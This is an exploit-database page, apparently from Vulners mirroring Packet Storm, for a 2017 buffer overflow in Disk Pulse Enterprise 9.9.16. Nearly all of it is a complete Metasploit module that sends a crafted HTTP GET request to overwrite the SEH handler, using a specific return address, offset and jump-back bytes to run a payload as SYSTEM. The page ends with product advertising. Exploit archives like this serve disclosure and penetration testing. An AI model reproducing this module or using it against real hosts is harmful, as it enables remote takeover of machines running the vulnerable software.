Lucene search
K

Disk Pulse Enterprise 9.9.16 GET Buffer Overflow

🗓️ 21 Sep 2017 00:00:00Reported by Nipun JaswalType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 49 Views

Disk Pulse Enterprise GET Buffer Overflow in 9.9.16 version allows remote attackers to execute code and gain system access

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',  
'Description' => %q(  
This module exploits an SEH buffer overflow in Disk Pulse Enterprise  
9.9.16. If a malicious user sends a crafted HTTP GET request  
it is possible to execute a payload that would run under the Windows  
NT AUTHORITY\SYSTEM account.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Chance Johnson', # msf module - [email protected]  
'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com  
],  
'References' =>  
[  
[ 'EDB', '42560' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'EncoderType' => "alpha_mixed",  
'BadChars' => "\x00\x0a\x0d\x26"  
},  
'Targets' =>  
[  
[ 'Disk Pulse Enterprise 9.9.16',  
{  
'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll  
'Offset' => 2492  
}]  
],  
'Privileged' => true,  
'DisclosureDate' => 'Aug 25 2017',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(80)])  
end  
  
def check  
res = send_request_cgi(  
'uri' => '/',  
'method' => 'GET'  
)  
  
if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
print_status("Generating exploit...")  
exp = payload.encoded  
exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset  
exp << generate_seh_record(target.ret)  
exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode  
exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start  
exp << 'B' * (5000 - exp.length) # padding  
  
print_status("Sending exploit...")  
  
send_request_cgi(  
'uri' => '/../' + exp,  
'method' => 'GET',  
'host' => '4.2.2.2',  
'connection' => 'keep-alive'  
)  
  
handler  
disconnect  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation